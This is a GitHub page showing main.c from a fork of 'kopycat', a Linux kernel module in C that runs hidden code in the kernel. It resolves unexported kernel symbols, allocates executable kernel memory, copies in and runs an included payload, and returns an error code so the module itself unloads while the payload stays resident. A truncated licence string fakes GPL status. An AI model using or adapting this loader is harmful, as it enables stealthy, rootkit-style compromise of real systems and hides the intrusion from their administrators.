forked from milabs/kopycat
-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.c
54 lines (42 loc) · 1.33 KB
/
main.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/kallsyms.h>
#include <net/net_namespace.h>
#include "payload.inc"
static long lookupName = 0;
module_param(lookupName, long, 0);
extern __attribute__((weak)) unsigned long kallsyms_lookup_name(const char *);
unsigned long lookup_name(const char *name) {
static typeof(lookup_name) *lookup = (void *)kallsyms_lookup_name;
if (NULL == lookup)
lookup = (void *)lookupName;
return lookup ? lookup(name) : 0;
}
int init_module(void) {
void *mem = NULL;
void *(*malloc)(long size) = NULL;
int (*set_memory_x)(unsigned long, int) = NULL;
malloc = (void *)lookup_name("module_alloc");
if (!malloc) {
pr_debug("module_alloc() not found\n");
goto Error;
}
mem = malloc(round_up(payload_len, PAGE_SIZE));
if (!mem) {
pr_debug("malloc(payload_len) failed\n");
goto Error;
}
set_memory_x = (void *)lookup_name("set_memory_x");
if (set_memory_x) {
int numpages = round_up(payload_len, PAGE_SIZE) / PAGE_SIZE;
set_memory_x((unsigned long)mem, numpages);
}
print_hex_dump_bytes("payload@", DUMP_PREFIX_OFFSET, payload, payload_len);
memcpy(mem, payload, payload_len);
if (0 == ((long (*)(void *, void *))mem)(lookup_name, &init_net))
return -ENOTTY; // success
Error:
if (mem) vfree(mem);
return -EINVAL; // failure
}
MODULE_LICENSE("GPL\0But who really cares?");